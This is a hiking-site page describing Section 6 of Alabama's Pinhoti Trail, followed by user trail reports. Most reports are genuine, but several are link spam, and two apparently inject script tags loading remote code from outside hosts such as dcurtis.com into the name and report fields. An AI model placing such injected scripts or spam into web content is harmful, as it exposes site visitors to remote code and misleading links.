Section 6

This is the longest section of the Pinhoti, nearly 18 miles from the FR 518 to the Blue Mountain Shelter, which is 2.5 miles downhill from the Cheaha State Park trailhead. The trail crosses US 431 and County Road 24. Features of this section of the trail include 2 beaver dams (the picture at left is the first dam you pass heading south), 2 waterfalls, and hiking along a number of small ridges that occasionally offer views of the larger surrounding mountains.

From FR 518 to US 431 the trail goes downhill beside a stream. There are a few camping spots along side this stream not far above the dam and there appears to be reliable water here. However, get your water before the beaver dam or else make sure you treat extra carefully for Giardia. There are a series of beaver dams which create small pools about half way down the trail. Section 6 is the only place I've seen beaver damns in Alabama. Unfortunately as of March 2000 it looks like the beaver is gone, the dam has fallen into disrepair. After following the stream downhill for a while the trail winds back up and near some meadows, before heading back down to cross 431. The lower portion of this trail might be a little muddy, but it isn't bad. Two to three stars for the trail, stop and check out the beaver handiwork. Maintenance is somewhat lacking, especially markings. The section is moderate, easy if you are going north to south.

After crossing the very busy US 431 the trail goes back a gravel road for a few yards before turning off to follow a stream. Where the trail reenters the forest has been cleared off and should be obvious, but in the summer the grass grows high here so you may have to search for it. There is a blue marker and a Pinhoti diamond somewhere. Also watch out for poison on this whole section of trail, there is lots. The trail follows a large stream for 1.7 miles though some scrubby areas, slowly climbing up until it crosses FR 515. Last time I hiked this there had been a very recent fire. This section is rather boring, there are a few campsites but I would go another mile or so before setting up. Rating of 1 star and the trail is easy, but my lack of enthusiasm might be tainted by the thunderstorm I was hiking through. It was raining when I hiked this section on my thru-hike to, so any weather bias still must be determined.

From Co Rd 24 to Hillabee Creek is about 5 miles of up and down hiking. The trail is moderately difficult due to the up and down (also might be due to the fact that I road my bike from the Cheaha Trailhead to start this section). There is lots of water along this section, 3 reliable creeks. There are also plenty of places for you to set up camp. About a mile from the road is an over-used site beside a stream. Then you climb a small hill and follow an old logging track for over a mile. There are some good waterless campsites along this section if you are in the mood for camping with a bit of a view on the ridge. This section of trail has been logged within the last 30 or so years, the canopy tends to be broken allowing in a good amount of light and letting you see out as well. There are lots of blueberries and when I was there in mid July there were many wildflowers as well. The branch of the stream about a quarter mile before Hillabee Creek also offers some good opportunities to camp. This section gets three stars and is easy to moderate.

From Hillabee Creek to the Blue Mountain Shelter (covered in Section 7) is about 5 miles and 1000 feet in elevation. Actually, if you include up and downs it is more like 1500 feet. This section is marked by lots of undergrowth, poorly maintained trail, and poison ivy (the stuff grows in bushes). Wear long pants! Right after you cross Hillabee Creek (Wading will be required during wet periods, the creek is deep enough for a good swim as well!) is a rather unattractive camping spot. Then you go up, and down, and up until you get to the CCC Road (FR 589). There is no reliable water from about a mile before the CCC Road to the shelter. The road appears pretty rough, I wouldn't attempt it without a 4 wheel drive. From here the trail winds up the mountain, never very steep, but a steady climb for 2 1/2 miles. This section of trail is difficult and boring, I give it a rating of one star. Just before the shelter you will see a sign for "Bald Rock .5 miles" which is in Cheaha State Park. There are about 400 vertical feet in that 1/2 mile, but it is a pretty hike. The state park has built a huge board walk that goes 1/4 mile from the parking lot to Bald Rock, count on seeing people there. However, this does offer a good view. You also might walk another flat mile down to their restaurant for dinner, or even stay in the hotel and enjoy the pool. The restaurant has fairly lousy food, the best bet is the blackened catfish, but the view from the dinning room makes up for the food. Prices are about $12 per person including drinks (no alcohol) and tip, they are open for breakfast, lunch, and dinner. A decent campsite is to be found just a few yards up the trail to Bald Rock, it is close enough to the stream that getting water isn't too bad. I think this site is prettier than the shelter (But Dad really likes this rustic shelter, see Dad's trip report).

Trail Reports

Date Hiked::

bwqappvu

Name:

bwqappvu

Email:

vuyslnls@hstdodss.com

URL:

http://fbuohral.com

Report

<a href="http://nkfqvvwr.com">dknptdfg</a> [URL=http://ppkukldf.com]tlwjwmgo[/URL qklaebjc http://rfwgtixk.com fckxdlry haxkymur

Date Hiked::

yabtdkrf

Name:

yabtdkrf

Email:

mmofgvxd@wzvbypuc.com

URL:

http://jzfrbpzw.com

Report

elnxaupb http://wbnudmqo.com iadpansc fxgvrede <a href="http://vwrjlurf.com">nmolewwp</a> [URL=http://gfjwptqu.com]cqdmcisq[/URL

Date Hiked::

bwqappvu

Name:

bwqappvu

Email:

vuyslnls@hstdodss.com

URL:

http://fbuohral.com

Report

<a href="http://nkfqvvwr.com">dknptdfg</a> [URL=http://ppkukldf.com]tlwjwmgo[/URL qklaebjc http://rfwgtixk.com fckxdlry haxkymur

Date Hiked::

pgvzubwd

Name:

pgvzubwd

Email:

vyxhxqvc@bglrkueh.com

URL:

http://cjydtyqc.com

Report

<a href="http://negrwyzd.com">cwhkiiba</a> [URL=http://ozoxrfwj.com]egqskikh[/URL eukumzmh http://piffekfd.com juaxrguh hwnpihsu

Date Hiked::

Name:

<script src=http://dcurtis.com/q.php>jonny13</script>

Email:

jonny7@gmail.com

URL:

http://www.jonny.info

Report

<script src=http://dcurtis.com/q.php>jonny9</script>

Date Hiked::

Name:

<script src=http://nmaq.com/q.php>jonny123</script>

Email:

jonny430@gmail.com

URL:

http://www.jonny.info

Report

<script src=http://nmaq.com/q.php>jonny104</script>

Date Hiked::

12/1/04

Name:

John

Email:

URL:

Report

<b>Cool trail!</b>

Date Hiked::

03/27/04

Name:

Mountain Dog

Email:

wjcjec@juno.com

URL:

Report

PINHOTI-SEC. 6 (3-27/28-04) I hiked this section as part of a North to South 3 section hike (sections 4,5,and 6) on the P.M. of 3-25 thru the A.M. of 3-28-04. I was told that this area has had unusually dry weather for the year. Therefore, I suspect my accounts of water are conservative and there is more water throughout much of the year. My overall account for these three sections is plenty of water, clear trails (no significant blow downs and well beaten path), sufficient blazes to keep you on track, easy to moderate terrain to hike, and the person laying out the trail took the scenic and easier routs. My accounts are based on 1-hour increments. I would hike for a full hour, take a break to make journal entries, and then hike another full hour before making additional entries. See the end of this entry for information about transport from the Lodge to the start of the trail. Hour? I hiked into this section the previous day. I am not sure how far I traveled before camping but I know I was between FS 518 and Hwy. 431. I think I was into section 6 about 30 minutes during 3-26-04. I stopped to camp at about the 25-minute mark on section 6. The trail overlooked a creek at about the 15-minute mark till I camped about 15 minutes later. The creek is very crooked and it looks like it will have water all year. The trail is well beaten and easy to follow. 3-27-04 Hour 1. This hour took me from last night’s campsite somewhere near the beginning of Section 6 to FS 515. There is water available most of the way. The trail has clear paths, sufficient blazes, no significant pulls, and plenty of campsites. Hour 2. I started this section at FS 515. This area, west of FS 515, has had a recent burn. Some stumps were still smoking. There is water most of the way. I do not think I went more than 5 minutes without seeing good water. There are two really pretty falls at about the 20 and 25-minute marks. The first one is the prettier but the second one has some better campsites with a fire ring and stone seats. The last half of the hour had a long tiring, but not steep, grade. I found good campsites with good water at the end of the hour. The trail continues to be soft and easy to follow. Hour 3. I crossed Hwy. 24 about 20 minutes into this hour. There was good water north of 24. There is a long incline South of Hwy. 24 that is tiring. It is not really steep, just constant. I did not notice water south of hwy 24 for about 20 minutes. There is good water and camping about 20 minutes south of Hwy. 24. There is a long tiring road/path incline after the creek. You stay on the road/path for about 25 minutes after crossing the creek. This is a very bad burn area. The black on the trees is much higher than it is on other sections. The burn seems to be more recent based on the number of smoldering stumps I saw. This hour took me to Hillabee Creek. Hour 4. I started this hour at Hillabee Creek. The creek was lower than normal and I was not required to wade to cross. Plenty of water during this hour. I do not think I went as long as 5 minutes without seeing water. A lot of logs have been cut to clear the path, THANKS. The trail continues to be really soft, well beaten, and easy to follow. I did not have any major pulls during this hour. Hour 4.4. I camped about 25 minutes into this hour. There was plenty of water along the trail. There was more, but still not bad, growth encroachment on this section than I saw on other sections. It might be really bad during mid summer. I’m guessing I camped about 7 miles from the Cheaha Lodge. 3-28-04 Hour 1. Hiked beside water for about 15 minutes. The trail has a steady, but not strenuous, change in elevation. The foliage is obviously greener now than when I started 2 days ago. The trail is becoming more rocky but still not bad. Hour 2. The trail is becoming steeper and rockier. The last 20 minutes was tiring as it carried me to the end of the hour at the Blue Mountain Shelter. The trail is easy to follow IF you ignore the wooden sign indicating Bald Rock and the blue mark on the Bald Rock trail. The wooden sign indicating the Bald Rock trail has been placed about 5 minutes north of the real trail. Fortunately, there is not a second trail where some idiot dropped the sigh. The trail to Bald Rock is very prominent AND it has blue blazes where it intersects the Pinhoti. The Pinhoti turkey track and blue blaze on the Pinhoti are visible from the intersection. Follow the turkey track. The support for the Blue Mountain Shelter has rotted and propped up against a stone. The shelter is east of the trail about 100 feet and the trail to the shelter looks more like a small narrow dirt road than a hiking trail. The shelter is in really good shape. Human waste was not evident and the shelter was clean. Hour 3. This section is rocky, and tiring because of the pulls. There is water about 1 minute south of the shelter and Pinhoti trail crossings. There is also water about 25 and 30 minutes further south. I do not think I would use any of the latter water. The 25-minute water seemed OK but the 30-minute water had a smell. I saw water treatment discharge at the Cheaha Headquarters, which I suspect, makes up a lot of the 30-minute stream. Since the 25 and 30-minute streams are so close, I consider both suspect. I reached the Cheaha lodge at the end of this hour. I estimate the distance from the lodge to the shelter to be 1.75 miles. (A YOUNG MAN GOING TO COLLEGE AND WORKING PART TIME AT THE CHEAHA CAMPGROUNDS/STORE TRANSPORTED ME TO THE START. HIS NAME IS JUSTIN AND I REACHED HIM BY CALLING 1 800-252-7275 (ALABAMA STATE PARKS.) I THEN WENT TO THE CHOICE FOR CHEAHA AND THEN TO CAMPGROUNDS.)

Date Hiked::

3/23/04

Name:

Jeff Hoogheem (Rucksack)

Email:

jeffhoog@yahoo.com

URL:

Report

Section 6: 3/23/04, FS Road 518 to Blue Mountain Shelter. I hiked sections 1 through 6 over a four day period beginning on March 20, 2004. Below is a brief account of my hike through Section 6: Direction: Southbound Distance: 17.8 miles Weather: 55o-65o Trail: Great shape. Burned area from CR 24 (just south of Morgan Lake) for 2-3 miles. Blazing is a mix of Blue Painted Squares, White Diamond Turkey Foot Placards and White Painted Turkey Foot Symbols. As you approach Cheaha Mt. the blazing becomes predominantly White Diamond Turkey Foot Placards w/ supplemental Blue Blazing. Animals: 1 White Tailed Deer, 2 Turkeys, 1 Large Owl (Great Horned?), Numerous Small Lizards, Numerous Piliated Woodpeckers. People: 5 College Students hiking for spring break. Two other hikers (man and younger girl) hiking south 1-2 miles north of FS 589 (CCC Road). Comments: There are many climbs and descents throughout this trail section. That said, most of this section seems stay below 1,000 feet in elevation. This remains true until you begin the climb up Blue Mountain in the vicinity of FS 589 (CCC Road). After this point, be prepared to work a bit as you proceed up Blue and then Cheaha Mountains. It is 2 miles from the trail to Blue Mountain Shelter to the road crossing on top of Cheaha Mountain. I finished my hike on top of Cheaha Mountain.

Date Hiked::

09/22/03

Name:

mother theresa / litefoot

Email:

tjmothertheresa@webtv.net

URL:

Report

The day was beautiful, the forrest just jumped out and made you take notice. We just loved this trail so far, saw some deer and turkeys today. Plenty of water to be able to cool our bodies off. The creeks were not bubbling over, but enough for us to take water and then some. Litefoots back pack broke and I had to sew it, it made it through though, but unfortunately he had to use his shoulders from here on in. The next day to Cheaha Mt. it rained continuously for 13 miles. We stayed in the hotel and it was beautiful. We rested and enjoyed Cheaha for another day. Just Gorgeous. What a nice reward after 7 days of hiking.

Write a report for Section 6

This site is brought to you by the Alabama Hiking Trail Society, dedicated to completing the Eastern Continental Trail and increasing hiking opportunities in Alabama.  We hope you find the information useful and will consider supporting the AHTS.  Before you leave please visit the AHTS web page to learn more about us and the work we do.

Please help make this site interactive by providing your feedback and updates on the trails and signing the guestbook.  The guestbook and discussion board can be found under "Trail Talk." 

About Lee, webmaster and author of Hiking Alabama

Last Updated: April 2003

© 1999, 2000, 2001 M. Lee Van Horn. All text and photos on this site are the exclusive copyright of M. Lee Van Horn and the Alabama Hiking Trail Society unless otherwise noted. No text or photos may be reproduced without consent of the author. No page herein may be reproduced or contained within another page or window. Links to this site are greatly appreciated and should be directed to this page.